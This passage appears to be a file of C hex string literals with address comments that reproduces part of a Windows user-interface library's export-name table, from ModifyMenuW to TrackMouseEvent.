//difyMenuA.Modify /* 7E41B040 */ "\x4D\x65\x6E\x75\x57\x00\x4D\x6F\x6E\x69\x74\x6F\x72\x46\x72\x6F" //MenuW.MonitorFro /* 7E41B060 */ "\x6D\x50\x6F\x69\x6E\x74\x00\x4D\x6F\x6E\x69\x74\x6F\x72\x46\x72" //mPoint.MonitorFr /* 7E41B080 */ "\x6F\x6D\x52\x65\x63\x74\x00\x4D\x6F\x6E\x69\x74\x6F\x72\x46\x72" //omRect.MonitorFr /* 7E41B0A0 */ "\x6F\x6D\x57\x69\x6E\x64\x6F\x77\x00\x4D\x6F\x76\x65\x57\x69\x6E" //omWindow.MoveWin /* 7E41B0C0 */ "\x64\x6F\x77\x00\x4D\x73\x67\x57\x61\x69\x74\x46\x6F\x72\x4D\x75" //dow.MsgWaitForMu /* 7E41B0E0 */ "\x6C\x74\x69\x70\x6C\x65\x4F\x62\x6A\x65\x63\x74\x73\x00\x4D\x73" //ltipleObjects.Ms /* 7E41B100 */ "\x67\x57\x61\x69\x74\x46\x6F\x72\x4D\x75\x6C\x74\x69\x70\x6C\x65" //gWaitForMultiple /* 7E41B120 */ "\x4F\x62\x6A\x65\x63\x74\x73\x45\x78\x00\x4E\x6F\x74\x69\x66\x79" //ObjectsEx.Notify /* 7E41B140 */ "\x57\x69\x6E\x45\x76\x65\x6E\x74\x00\x4F\x65\x6D\x4B\x65\x79\x53" //WinEvent.OemKeyS /* 7E41B160 */ "\x63\x61\x6E\x00\x4F\x65\x6D\x54\x6F\x43\x68\x61\x72\x41\x00\x4F" //can.OemToCharA.O /* 7E41B180 */ "\x65\x6D\x54\x6F\x43\x68\x61\x72\x42\x75\x66\x66\x41\x00\x4F\x65" //emToCharBuffA.Oe /* 7E41B1A0 */ "\x6D\x54\x6F\x43\x68\x61\x72\x42\x75\x66\x66\x57\x00\x4F\x65\x6D" //mToCharBuffW.Oem /* 7E41B1C0 */ "\x54\x6F\x43\x68\x61\x72\x57\x00\x4F\x66\x66\x73\x65\x74\x52\x65" //ToCharW.OffsetRe /* 7E41B1E0 */ "\x63\x74\x00\x4F\x70\x65\x6E\x43\x6C\x69\x70\x62\x6F\x61\x72\x64" //ct.OpenClipboard /* 7E41B200 */ "\x00\x4F\x70\x65\x6E\x44\x65\x73\x6B\x74\x6F\x70\x41\x00\x4F\x70" //.OpenDesktopA.Op /* 7E41B220 */ "\x65\x6E\x44\x65\x73\x6B\x74\x6F\x70\x57\x00\x4F\x70\x65\x6E\x49" //enDesktopW.OpenI /* 7E41B240 */ "\x63\x6F\x6E\x00\x4F\x70\x65\x6E\x49\x6E\x70\x75\x74\x44\x65\x73" //con.OpenInputDes /* 7E41B260 */ "\x6B\x74\x6F\x70\x00\x4F\x70\x65\x6E\x57\x69\x6E\x64\x6F\x77\x53" //ktop.OpenWindowS /* 7E41B280 */ "\x74\x61\x74\x69\x6F\x6E\x41\x00\x4F\x70\x65\x6E\x57\x69\x6E\x64" //tationA.OpenWind /* 7E41B2A0 */ "\x6F\x77\x53\x74\x61\x74\x69\x6F\x6E\x57\x00\x50\x61\x63\x6B\x44" //owStationW.PackD /* 7E41B2C0 */ "\x44\x45\x6C\x50\x61\x72\x61\x6D\x00\x50\x61\x69\x6E\x74\x44\x65" //DElParam.PaintDe /* 7E41B2E0 */ "\x73\x6B\x74\x6F\x70\x00\x50\x61\x69\x6E\x74\x4D\x65\x6E\x75\x42" //sktop.PaintMenuB /* 7E41B300 */ "\x61\x72\x00\x50\x65\x65\x6B\x4D\x65\x73\x73\x61\x67\x65\x41\x00" //ar.PeekMessageA. /* 7E41B320 */ "\x50\x65\x65\x6B\x4D\x65\x73\x73\x61\x67\x65\x57\x00\x50\x6F\x73" //PeekMessageW.Pos /* 7E41B340 */ "\x74\x4D\x65\x73\x73\x61\x67\x65\x41\x00\x50\x6F\x73\x74\x4D\x65" //tMessageA.PostMe /* 7E41B360 */ "\x73\x73\x61\x67\x65\x57\x00\x50\x6F\x73\x74\x51\x75\x69\x74\x4D" //ssageW.PostQuitM /* 7E41B380 */ "\x65\x73\x73\x61\x67\x65\x00\x50\x6F\x73\x74\x54\x68\x72\x65\x61" //essage.PostThrea /* 7E41B3A0 */ "\x64\x4D\x65\x73\x73\x61\x67\x65\x41\x00\x50\x6F\x73\x74\x54\x68" //dMessageA.PostTh /* 7E41B3C0 */ "\x72\x65\x61\x64\x4D\x65\x73\x73\x61\x67\x65\x57\x00\x50\x72\x69" //readMessageW.Pri /* 7E41B3E0 */ "\x6E\x74\x57\x69\x6E\x64\x6F\x77\x00\x50\x72\x69\x76\x61\x74\x65" //ntWindow.Private /* 7E41B400 */ "\x45\x78\x74\x72\x61\x63\x74\x49\x63\x6F\x6E\x45\x78\x41\x00\x50" //ExtractIconExA.P /* 7E41B420 */ "\x72\x69\x76\x61\x74\x65\x45\x78\x74\x72\x61\x63\x74\x49\x63\x6F" //rivateExtractIco /* 7E41B440 */ "\x6E\x45\x78\x57\x00\x50\x72\x69\x76\x61\x74\x65\x45\x78\x74\x72" //nExW.PrivateExtr /* 7E41B460 */ "\x61\x63\x74\x49\x63\x6F\x6E\x73\x41\x00\x50\x72\x69\x76\x61\x74" //actIconsA.Privat /* 7E41B480 */ "\x65\x45\x78\x74\x72\x61\x63\x74\x49\x63\x6F\x6E\x73\x57\x00\x50" //eExtractIconsW.P /* 7E41B4A0 */ "\x72\x69\x76\x61\x74\x65\x53\x65\x74\x44\x62\x67\x54\x61\x67\x00" //rivateSetDbgTag. /* 7E41B4C0 */ "\x50\x72\x69\x76\x61\x74\x65\x53\x65\x74\x52\x69\x70\x46\x6C\x61" //PrivateSetRipFla /* 7E41B4E0 */ "\x67\x73\x00\x50\x74\x49\x6E\x52\x65\x63\x74\x00\x51\x75\x65\x72" //gs.PtInRect.Quer /* 7E41B500 */ "\x79\x53\x65\x6E\x64\x4D\x65\x73\x73\x61\x67\x65\x00\x51\x75\x65" //ySendMessage.Que /* 7E41B520 */ "\x72\x79\x55\x73\x65\x72\x43\x6F\x75\x6E\x74\x65\x72\x73\x00\x52" //ryUserCounters.R /* 7E41B540 */ "\x65\x61\x6C\x43\x68\x69\x6C\x64\x57\x69\x6E\x64\x6F\x77\x46\x72" //ealChildWindowFr /* 7E41B560 */ "\x6F\x6D\x50\x6F\x69\x6E\x74\x00\x52\x65\x61\x6C\x47\x65\x74\x57" //omPoint.RealGetW /* 7E41B580 */ "\x69\x6E\x64\x6F\x77\x43\x6C\x61\x73\x73\x00\x52\x65\x61\x6C\x47" //indowClass.RealG /* 7E41B5A0 */ "\x65\x74\x57\x69\x6E\x64\x6F\x77\x43\x6C\x61\x73\x73\x41\x00\x52" //etWindowClassA.R /* 7E41B5C0 */ "\x65\x61\x6C\x47\x65\x74\x57\x69\x6E\x64\x6F\x77\x43\x6C\x61\x73" //ealGetWindowClas /* 7E41B5E0 */ "\x73\x57\x00\x52\x65\x61\x73\x6F\x6E\x43\x6F\x64\x65\x4E\x65\x65" //sW.ReasonCodeNee /* 7E41B600 */ "\x64\x73\x42\x75\x67\x49\x44\x00\x52\x65\x61\x73\x6F\x6E\x43\x6F" //dsBugID.ReasonCo /* 7E41B620 */ "\x64\x65\x4E\x65\x65\x64\x73\x43\x6F\x6D\x6D\x65\x6E\x74\x00\x52" //deNeedsComment.R /* 7E41B640 */ "\x65\x63\x6F\x72\x64\x53\x68\x75\x74\x64\x6F\x77\x6E\x52\x65\x61" //ecordShutdownRea /* 7E41B660 */ "\x73\x6F\x6E\x00\x52\x65\x64\x72\x61\x77\x57\x69\x6E\x64\x6F\x77" //son.RedrawWindow /* 7E41B680 */ "\x00\x52\x65\x67\x69\x73\x74\x65\x72\x43\x6C\x61\x73\x73\x41\x00" //.RegisterClassA. /* 7E41B6A0 */ "\x52\x65\x67\x69\x73\x74\x65\x72\x43\x6C\x61\x73\x73\x45\x78\x41" //RegisterClassExA /* 7E41B6C0 */ "\x00\x52\x65\x67\x69\x73\x74\x65\x72\x43\x6C\x61\x73\x73\x45\x78" //.RegisterClassEx /* 7E41B6E0 */ "\x57\x00\x52\x65\x67\x69\x73\x74\x65\x72\x43\x6C\x61\x73\x73\x57" //W.RegisterClassW /* 7E41B700 */ "\x00\x52\x65\x67\x69\x73\x74\x65\x72\x43\x6C\x69\x70\x62\x6F\x61" //.RegisterClipboa /* 7E41B720 */ "\x72\x64\x46\x6F\x72\x6D\x61\x74\x41\x00\x52\x65\x67\x69\x73\x74" //rdFormatA.Regist /* 7E41B740 */ "\x65\x72\x43\x6C\x69\x70\x62\x6F\x61\x72\x64\x46\x6F\x72\x6D\x61" //erClipboardForma /* 7E41B760 */ "\x74\x57\x00\x52\x65\x67\x69\x73\x74\x65\x72\x44\x65\x76\x69\x63" //tW.RegisterDevic /* 7E41B780 */ "\x65\x4E\x6F\x74\x69\x66\x69\x63\x61\x74\x69\x6F\x6E\x41\x00\x52" //eNotificationA.R /* 7E41B7A0 */ "\x65\x67\x69\x73\x74\x65\x72\x44\x65\x76\x69\x63\x65\x4E\x6F\x74" //egisterDeviceNot /* 7E41B7C0 */ "\x69\x66\x69\x63\x61\x74\x69\x6F\x6E\x57\x00\x52\x65\x67\x69\x73" //ificationW.Regis /* 7E41B7E0 */ "\x74\x65\x72\x48\x6F\x74\x4B\x65\x79\x00\x52\x65\x67\x69\x73\x74" //terHotKey.Regist /* 7E41B800 */ "\x65\x72\x4C\x6F\x67\x6F\x6E\x50\x72\x6F\x63\x65\x73\x73\x00\x52" //erLogonProcess.R /* 7E41B820 */ "\x65\x67\x69\x73\x74\x65\x72\x4D\x65\x73\x73\x61\x67\x65\x50\x75" //egisterMessagePu /* 7E41B840 */ "\x6D\x70\x48\x6F\x6F\x6B\x00\x52\x65\x67\x69\x73\x74\x65\x72\x52" //mpHook.RegisterR /* 7E41B860 */ "\x61\x77\x49\x6E\x70\x75\x74\x44\x65\x76\x69\x63\x65\x73\x00\x52" //awInputDevices.R /* 7E41B880 */ "\x65\x67\x69\x73\x74\x65\x72\x53\x65\x72\x76\x69\x63\x65\x73\x50" //egisterServicesP /* 7E41B8A0 */ "\x72\x6F\x63\x65\x73\x73\x00\x52\x65\x67\x69\x73\x74\x65\x72\x53" //rocess.RegisterS /* 7E41B8C0 */ "\x68\x65\x6C\x6C\x48\x6F\x6F\x6B\x57\x69\x6E\x64\x6F\x77\x00\x52" //hellHookWindow.R /* 7E41B8E0 */ "\x65\x67\x69\x73\x74\x65\x72\x53\x79\x73\x74\x65\x6D\x54\x68\x72" //egisterSystemThr /* 7E41B900 */ "\x65\x61\x64\x00\x52\x65\x67\x69\x73\x74\x65\x72\x54\x61\x73\x6B" //ead.RegisterTask /* 7E41B920 */ "\x6C\x69\x73\x74\x00\x52\x65\x67\x69\x73\x74\x65\x72\x55\x73\x65" //list.RegisterUse /* 7E41B940 */ "\x72\x41\x70\x69\x48\x6F\x6F\x6B\x00\x52\x65\x67\x69\x73\x74\x65" //rApiHook.Registe /* 7E41B960 */ "\x72\x57\x69\x6E\x64\x6F\x77\x4D\x65\x73\x73\x61\x67\x65\x41\x00" //rWindowMessageA. /* 7E41B980 */ "\x52\x65\x67\x69\x73\x74\x65\x72\x57\x69\x6E\x64\x6F\x77\x4D\x65" //RegisterWindowMe /* 7E41B9A0 */ "\x73\x73\x61\x67\x65\x57\x00\x52\x65\x6C\x65\x61\x73\x65\x43\x61" //ssageW.ReleaseCa /* 7E41B9C0 */ "\x70\x74\x75\x72\x65\x00\x52\x65\x6C\x65\x61\x73\x65\x44\x43\x00" //pture.ReleaseDC. /* 7E41B9E0 */ "\x52\x65\x6D\x6F\x76\x65\x4D\x65\x6E\x75\x00\x52\x65\x6D\x6F\x76" //RemoveMenu.Remov /* 7E41BA00 */ "\x65\x50\x72\x6F\x70\x41\x00\x52\x65\x6D\x6F\x76\x65\x50\x72\x6F" //ePropA.RemovePro /* 7E41BA20 */ "\x70\x57\x00\x52\x65\x70\x6C\x79\x4D\x65\x73\x73\x61\x67\x65\x00" //pW.ReplyMessage. /* 7E41BA40 */ "\x52\x65\x73\x6F\x6C\x76\x65\x44\x65\x73\x6B\x74\x6F\x70\x46\x6F" //ResolveDesktopFo /* 7E41BA60 */ "\x72\x57\x4F\x57\x00\x52\x65\x75\x73\x65\x44\x44\x45\x6C\x50\x61" //rWOW.ReuseDDElPa /* 7E41BA80 */ "\x72\x61\x6D\x00\x53\x63\x72\x65\x65\x6E\x54\x6F\x43\x6C\x69\x65" //ram.ScreenToClie /* 7E41BAA0 */ "\x6E\x74\x00\x53\x63\x72\x6F\x6C\x6C\x43\x68\x69\x6C\x64\x72\x65" //nt.ScrollChildre /* 7E41BAC0 */ "\x6E\x00\x53\x63\x72\x6F\x6C\x6C\x44\x43\x00\x53\x63\x72\x6F\x6C" //n.ScrollDC.Scrol /* 7E41BAE0 */ "\x6C\x57\x69\x6E\x64\x6F\x77\x00\x53\x63\x72\x6F\x6C\x6C\x57\x69" //lWindow.ScrollWi /* 7E41BB00 */ "\x6E\x64\x6F\x77\x45\x78\x00\x53\x65\x6E\x64\x44\x6C\x67\x49\x74" //ndowEx.SendDlgIt /* 7E41BB20 */ "\x65\x6D\x4D\x65\x73\x73\x61\x67\x65\x41\x00\x53\x65\x6E\x64\x44" //emMessageA.SendD /* 7E41BB40 */ "\x6C\x67\x49\x74\x65\x6D\x4D\x65\x73\x73\x61\x67\x65\x57\x00\x53" //lgItemMessageW.S /* 7E41BB60 */ "\x65\x6E\x64\x49\x4D\x45\x4D\x65\x73\x73\x61\x67\x65\x45\x78\x41" //endIMEMessageExA /* 7E41BB80 */ "\x00\x53\x65\x6E\x64\x49\x4D\x45\x4D\x65\x73\x73\x61\x67\x65\x45" //.SendIMEMessageE /* 7E41BBA0 */ "\x78\x57\x00\x53\x65\x6E\x64\x49\x6E\x70\x75\x74\x00\x53\x65\x6E" //xW.SendInput.Sen /* 7E41BBC0 */ "\x64\x4D\x65\x73\x73\x61\x67\x65\x41\x00\x53\x65\x6E\x64\x4D\x65" //dMessageA.SendMe /* 7E41BBE0 */ "\x73\x73\x61\x67\x65\x43\x61\x6C\x6C\x62\x61\x63\x6B\x41\x00\x53" //ssageCallbackA.S /* 7E41BC00 */ "\x65\x6E\x64\x4D\x65\x73\x73\x61\x67\x65\x43\x61\x6C\x6C\x62\x61" //endMessageCallba /* 7E41BC20 */ "\x63\x6B\x57\x00\x53\x65\x6E\x64\x4D\x65\x73\x73\x61\x67\x65\x54" //ckW.SendMessageT /* 7E41BC40 */ "\x69\x6D\x65\x6F\x75\x74\x41\x00\x53\x65\x6E\x64\x4D\x65\x73\x73" //imeoutA.SendMess /* 7E41BC60 */ "\x61\x67\x65\x54\x69\x6D\x65\x6F\x75\x74\x57\x00\x53\x65\x6E\x64" //ageTimeoutW.Send /* 7E41BC80 */ "\x4D\x65\x73\x73\x61\x67\x65\x57\x00\x53\x65\x6E\x64\x4E\x6F\x74" //MessageW.SendNot /* 7E41BCA0 */ "\x69\x66\x79\x4D\x65\x73\x73\x61\x67\x65\x41\x00\x53\x65\x6E\x64" //ifyMessageA.Send /* 7E41BCC0 */ "\x4E\x6F\x74\x69\x66\x79\x4D\x65\x73\x73\x61\x67\x65\x57\x00\x53" //NotifyMessageW.S /* 7E41BCE0 */ "\x65\x74\x41\x63\x74\x69\x76\x65\x57\x69\x6E\x64\x6F\x77\x00\x53" //etActiveWindow.S /* 7E41BD00 */ "\x65\x74\x43\x61\x70\x74\x75\x72\x65\x00\x53\x65\x74\x43\x61\x72" //etCapture.SetCar /* 7E41BD20 */ "\x65\x74\x42\x6C\x69\x6E\x6B\x54\x69\x6D\x65\x00\x53\x65\x74\x43" //etBlinkTime.SetC /* 7E41BD40 */ "\x61\x72\x65\x74\x50\x6F\x73\x00\x53\x65\x74\x43\x6C\x61\x73\x73" //aretPos.SetClass /* 7E41BD60 */ "\x4C\x6F\x6E\x67\x41\x00\x53\x65\x74\x43\x6C\x61\x73\x73\x4C\x6F" //LongA.SetClassLo /* 7E41BD80 */ "\x6E\x67\x57\x00\x53\x65\x74\x43\x6C\x61\x73\x73\x57\x6F\x72\x64" //ngW.SetClassWord /* 7E41BDA0 */ "\x00\x53\x65\x74\x43\x6C\x69\x70\x62\x6F\x61\x72\x64\x44\x61\x74" //.SetClipboardDat /* 7E41BDC0 */ "\x61\x00\x53\x65\x74\x43\x6C\x69\x70\x62\x6F\x61\x72\x64\x56\x69" //a.SetClipboardVi /* 7E41BDE0 */ "\x65\x77\x65\x72\x00\x53\x65\x74\x43\x6F\x6E\x73\x6F\x6C\x65\x52" //ewer.SetConsoleR /* 7E41BE00 */ "\x65\x73\x65\x72\x76\x65\x4B\x65\x79\x73\x00\x53\x65\x74\x43\x75" //eserveKeys.SetCu /* 7E41BE20 */ "\x72\x73\x6F\x72\x00\x53\x65\x74\x43\x75\x72\x73\x6F\x72\x43\x6F" //rsor.SetCursorCo /* 7E41BE40 */ "\x6E\x74\x65\x6E\x74\x73\x00\x53\x65\x74\x43\x75\x72\x73\x6F\x72" //ntents.SetCursor /* 7E41BE60 */ "\x50\x6F\x73\x00\x53\x65\x74\x44\x65\x62\x75\x67\x45\x72\x72\x6F" //Pos.SetDebugErro /* 7E41BE80 */ "\x72\x4C\x65\x76\x65\x6C\x00\x53\x65\x74\x44\x65\x73\x6B\x57\x61" //rLevel.SetDeskWa /* 7E41BEA0 */ "\x6C\x6C\x70\x61\x70\x65\x72\x00\x53\x65\x74\x44\x6C\x67\x49\x74" //llpaper.SetDlgIt /* 7E41BEC0 */ "\x65\x6D\x49\x6E\x74\x00\x53\x65\x74\x44\x6C\x67\x49\x74\x65\x6D" //emInt.SetDlgItem /* 7E41BEE0 */ "\x54\x65\x78\x74\x41\x00\x53\x65\x74\x44\x6C\x67\x49\x74\x65\x6D" //TextA.SetDlgItem /* 7E41BF00 */ "\x54\x65\x78\x74\x57\x00\x53\x65\x74\x44\x6F\x75\x62\x6C\x65\x43" //TextW.SetDoubleC /* 7E41BF20 */ "\x6C\x69\x63\x6B\x54\x69\x6D\x65\x00\x53\x65\x74\x46\x6F\x63\x75" //lickTime.SetFocu /* 7E41BF40 */ "\x73\x00\x53\x65\x74\x46\x6F\x72\x65\x67\x72\x6F\x75\x6E\x64\x57" //s.SetForegroundW /* 7E41BF60 */ "\x69\x6E\x64\x6F\x77\x00\x53\x65\x74\x49\x6E\x74\x65\x72\x6E\x61" //indow.SetInterna /* 7E41BF80 */ "\x6C\x57\x69\x6E\x64\x6F\x77\x50\x6F\x73\x00\x53\x65\x74\x4B\x65" //lWindowPos.SetKe /* 7E41BFA0 */ "\x79\x62\x6F\x61\x72\x64\x53\x74\x61\x74\x65\x00\x53\x65\x74\x4C" //yboardState.SetL /* 7E41BFC0 */ "\x61\x73\x74\x45\x72\x72\x6F\x72\x45\x78\x00\x53\x65\x74\x4C\x61" //astErrorEx.SetLa /* 7E41BFE0 */ "\x79\x65\x72\x65\x64\x57\x69\x6E\x64\x6F\x77\x41\x74\x74\x72\x69" //yeredWindowAttri /* 7E41C000 */ "\x62\x75\x74\x65\x73\x00\x53\x65\x74\x4C\x6F\x67\x6F\x6E\x4E\x6F" //butes.SetLogonNo /* 7E41C020 */ "\x74\x69\x66\x79\x57\x69\x6E\x64\x6F\x77\x00\x53\x65\x74\x4D\x65" //tifyWindow.SetMe /* 7E41C040 */ "\x6E\x75\x00\x53\x65\x74\x4D\x65\x6E\x75\x43\x6F\x6E\x74\x65\x78" //nu.SetMenuContex /* 7E41C060 */ "\x74\x48\x65\x6C\x70\x49\x64\x00\x53\x65\x74\x4D\x65\x6E\x75\x44" //tHelpId.SetMenuD /* 7E41C080 */ "\x65\x66\x61\x75\x6C\x74\x49\x74\x65\x6D\x00\x53\x65\x74\x4D\x65" //efaultItem.SetMe /* 7E41C0A0 */ "\x6E\x75\x49\x6E\x66\x6F\x00\x53\x65\x74\x4D\x65\x6E\x75\x49\x74" //nuInfo.SetMenuIt /* 7E41C0C0 */ "\x65\x6D\x42\x69\x74\x6D\x61\x70\x73\x00\x53\x65\x74\x4D\x65\x6E" //emBitmaps.SetMen /* 7E41C0E0 */ "\x75\x49\x74\x65\x6D\x49\x6E\x66\x6F\x41\x00\x53\x65\x74\x4D\x65" //uItemInfoA.SetMe /* 7E41C100 */ "\x6E\x75\x49\x74\x65\x6D\x49\x6E\x66\x6F\x57\x00\x53\x65\x74\x4D" //nuItemInfoW.SetM /* 7E41C120 */ "\x65\x73\x73\x61\x67\x65\x45\x78\x74\x72\x61\x49\x6E\x66\x6F\x00" //essageExtraInfo. /* 7E41C140 */ "\x53\x65\x74\x4D\x65\x73\x73\x61\x67\x65\x51\x75\x65\x75\x65\x00" //SetMessageQueue. /* 7E41C160 */ "\x53\x65\x74\x50\x61\x72\x65\x6E\x74\x00\x53\x65\x74\x50\x72\x6F" //SetParent.SetPro /* 7E41C180 */ "\x63\x65\x73\x73\x44\x65\x66\x61\x75\x6C\x74\x4C\x61\x79\x6F\x75" //cessDefaultLayou /* 7E41C1A0 */ "\x74\x00\x53\x65\x74\x50\x72\x6F\x63\x65\x73\x73\x57\x69\x6E\x64" //t.SetProcessWind /* 7E41C1C0 */ "\x6F\x77\x53\x74\x61\x74\x69\x6F\x6E\x00\x53\x65\x74\x50\x72\x6F" //owStation.SetPro /* 7E41C1E0 */ "\x67\x6D\x61\x6E\x57\x69\x6E\x64\x6F\x77\x00\x53\x65\x74\x50\x72" //gmanWindow.SetPr /* 7E41C200 */ "\x6F\x70\x41\x00\x53\x65\x74\x50\x72\x6F\x70\x57\x00\x53\x65\x74" //opA.SetPropW.Set /* 7E41C220 */ "\x52\x65\x63\x74\x00\x53\x65\x74\x52\x65\x63\x74\x45\x6D\x70\x74" //Rect.SetRectEmpt /* 7E41C240 */ "\x79\x00\x53\x65\x74\x53\x63\x72\x6F\x6C\x6C\x49\x6E\x66\x6F\x00" //y.SetScrollInfo. /* 7E41C260 */ "\x53\x65\x74\x53\x63\x72\x6F\x6C\x6C\x50\x6F\x73\x00\x53\x65\x74" //SetScrollPos.Set /* 7E41C280 */ "\x53\x63\x72\x6F\x6C\x6C\x52\x61\x6E\x67\x65\x00\x53\x65\x74\x53" //ScrollRange.SetS /* 7E41C2A0 */ "\x68\x65\x6C\x6C\x57\x69\x6E\x64\x6F\x77\x00\x53\x65\x74\x53\x68" //hellWindow.SetSh /* 7E41C2C0 */ "\x65\x6C\x6C\x57\x69\x6E\x64\x6F\x77\x45\x78\x00\x53\x65\x74\x53" //ellWindowEx.SetS /* 7E41C2E0 */ "\x79\x73\x43\x6F\x6C\x6F\x72\x73\x00\x53\x65\x74\x53\x79\x73\x43" //ysColors.SetSysC /* 7E41C300 */ "\x6F\x6C\x6F\x72\x73\x54\x65\x6D\x70\x00\x53\x65\x74\x53\x79\x73" //olorsTemp.SetSys /* 7E41C320 */ "\x74\x65\x6D\x43\x75\x72\x73\x6F\x72\x00\x53\x65\x74\x53\x79\x73" //temCursor.SetSys /* 7E41C340 */ "\x74\x65\x6D\x4D\x65\x6E\x75\x00\x53\x65\x74\x53\x79\x73\x74\x65" //temMenu.SetSyste /* 7E41C360 */ "\x6D\x54\x69\x6D\x65\x72\x00\x53\x65\x74\x54\x61\x73\x6B\x6D\x61" //mTimer.SetTaskma /* 7E41C380 */ "\x6E\x57\x69\x6E\x64\x6F\x77\x00\x53\x65\x74\x54\x68\x72\x65\x61" //nWindow.SetThrea /* 7E41C3A0 */ "\x64\x44\x65\x73\x6B\x74\x6F\x70\x00\x53\x65\x74\x54\x69\x6D\x65" //dDesktop.SetTime /* 7E41C3C0 */ "\x72\x00\x53\x65\x74\x55\x73\x65\x72\x4F\x62\x6A\x65\x63\x74\x49" //r.SetUserObjectI /* 7E41C3E0 */ "\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x41\x00\x53\x65\x74\x55" //nformationA.SetU /* 7E41C400 */ "\x73\x65\x72\x4F\x62\x6A\x65\x63\x74\x49\x6E\x66\x6F\x72\x6D\x61" //serObjectInforma /* 7E41C420 */ "\x74\x69\x6F\x6E\x57\x00\x53\x65\x74\x55\x73\x65\x72\x4F\x62\x6A" //tionW.SetUserObj /* 7E41C440 */ "\x65\x63\x74\x53\x65\x63\x75\x72\x69\x74\x79\x00\x53\x65\x74\x57" //ectSecurity.SetW /* 7E41C460 */ "\x69\x6E\x45\x76\x65\x6E\x74\x48\x6F\x6F\x6B\x00\x53\x65\x74\x57" //inEventHook.SetW /* 7E41C480 */ "\x69\x6E\x64\x6F\x77\x43\x6F\x6E\x74\x65\x78\x74\x48\x65\x6C\x70" //indowContextHelp /* 7E41C4A0 */ "\x49\x64\x00\x53\x65\x74\x57\x69\x6E\x64\x6F\x77\x4C\x6F\x6E\x67" //Id.SetWindowLong /* 7E41C4C0 */ "\x41\x00\x53\x65\x74\x57\x69\x6E\x64\x6F\x77\x4C\x6F\x6E\x67\x57" //A.SetWindowLongW /* 7E41C4E0 */ "\x00\x53\x65\x74\x57\x69\x6E\x64\x6F\x77\x50\x6C\x61\x63\x65\x6D" //.SetWindowPlacem /* 7E41C500 */ "\x65\x6E\x74\x00\x53\x65\x74\x57\x69\x6E\x64\x6F\x77\x50\x6F\x73" //ent.SetWindowPos /* 7E41C520 */ "\x00\x53\x65\x74\x57\x69\x6E\x64\x6F\x77\x52\x67\x6E\x00\x53\x65" //.SetWindowRgn.Se /* 7E41C540 */ "\x74\x57\x69\x6E\x64\x6F\x77\x53\x74\x61\x74\x69\x6F\x6E\x55\x73" //tWindowStationUs /* 7E41C560 */ "\x65\x72\x00\x53\x65\x74\x57\x69\x6E\x64\x6F\x77\x54\x65\x78\x74" //er.SetWindowText /* 7E41C580 */ "\x41\x00\x53\x65\x74\x57\x69\x6E\x64\x6F\x77\x54\x65\x78\x74\x57" //A.SetWindowTextW /* 7E41C5A0 */ "\x00\x53\x65\x74\x57\x69\x6E\x64\x6F\x77\x57\x6F\x72\x64\x00\x53" //.SetWindowWord.S /* 7E41C5C0 */ "\x65\x74\x57\x69\x6E\x64\x6F\x77\x73\x48\x6F\x6F\x6B\x41\x00\x53" //etWindowsHookA.S /* 7E41C5E0 */ "\x65\x74\x57\x69\x6E\x64\x6F\x77\x73\x48\x6F\x6F\x6B\x45\x78\x41" //etWindowsHookExA /* 7E41C600 */ "\x00\x53\x65\x74\x57\x69\x6E\x64\x6F\x77\x73\x48\x6F\x6F\x6B\x45" //.SetWindowsHookE /* 7E41C620 */ "\x78\x57\x00\x53\x65\x74\x57\x69\x6E\x64\x6F\x77\x73\x48\x6F\x6F" //xW.SetWindowsHoo /* 7E41C640 */ "\x6B\x57\x00\x53\x68\x6F\x77\x43\x61\x72\x65\x74\x00\x53\x68\x6F" //kW.ShowCaret.Sho /* 7E41C660 */ "\x77\x43\x75\x72\x73\x6F\x72\x00\x53\x68\x6F\x77\x4F\x77\x6E\x65" //wCursor.ShowOwne /* 7E41C680 */ "\x64\x50\x6F\x70\x75\x70\x73\x00\x53\x68\x6F\x77\x53\x63\x72\x6F" //dPopups.ShowScro /* 7E41C6A0 */ "\x6C\x6C\x42\x61\x72\x00\x53\x68\x6F\x77\x53\x74\x61\x72\x74\x47" //llBar.ShowStartG /* 7E41C6C0 */ "\x6C\x61\x73\x73\x00\x53\x68\x6F\x77\x57\x69\x6E\x64\x6F\x77\x00" //lass.ShowWindow. /* 7E41C6E0 */ "\x53\x68\x6F\x77\x57\x69\x6E\x64\x6F\x77\x41\x73\x79\x6E\x63\x00" //ShowWindowAsync. /* 7E41C700 */ "\x53\x6F\x66\x74\x4D\x6F\x64\x61\x6C\x4D\x65\x73\x73\x61\x67\x65" //SoftModalMessage /* 7E41C720 */ "\x42\x6F\x78\x00\x53\x75\x62\x74\x72\x61\x63\x74\x52\x65\x63\x74" //Box.SubtractRect /* 7E41C740 */ "\x00\x53\x77\x61\x70\x4D\x6F\x75\x73\x65\x42\x75\x74\x74\x6F\x6E" //.SwapMouseButton /* 7E41C760 */ "\x00\x53\x77\x69\x74\x63\x68\x44\x65\x73\x6B\x74\x6F\x70\x00\x53" //.SwitchDesktop.S /* 7E41C780 */ "\x77\x69\x74\x63\x68\x54\x6F\x54\x68\x69\x73\x57\x69\x6E\x64\x6F" //witchToThisWindo /* 7E41C7A0 */ "\x77\x00\x53\x79\x73\x74\x65\x6D\x50\x61\x72\x61\x6D\x65\x74\x65" //w.SystemParamete /* 7E41C7C0 */ "\x72\x73\x49\x6E\x66\x6F\x41\x00\x53\x79\x73\x74\x65\x6D\x50\x61" //rsInfoA.SystemPa /* 7E41C7E0 */ "\x72\x61\x6D\x65\x74\x65\x72\x73\x49\x6E\x66\x6F\x57\x00\x54\x61" //rametersInfoW.Ta /* 7E41C800 */ "\x62\x62\x65\x64\x54\x65\x78\x74\x4F\x75\x74\x41\x00\x54\x61\x62" //bbedTextOutA.Tab /* 7E41C820 */ "\x62\x65\x64\x54\x65\x78\x74\x4F\x75\x74\x57\x00\x54\x69\x6C\x65" //bedTextOutW.Tile /* 7E41C840 */ "\x43\x68\x69\x6C\x64\x57\x69\x6E\x64\x6F\x77\x73\x00\x54\x69\x6C" //ChildWindows.Til /* 7E41C860 */ "\x65\x57\x69\x6E\x64\x6F\x77\x73\x00\x54\x6F\x41\x73\x63\x69\x69" //eWindows.ToAscii /* 7E41C880 */ "\x00\x54\x6F\x41\x73\x63\x69\x69\x45\x78\x00\x54\x6F\x55\x6E\x69" //.ToAsciiEx.ToUni /* 7E41C8A0 */ "\x63\x6F\x64\x65\x00\x54\x6F\x55\x6E\x69\x63\x6F\x64\x65\x45\x78" //code.ToUnicodeEx /* 7E41C8C0 */ "\x00\x54\x72\x61\x63\x6B\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74" 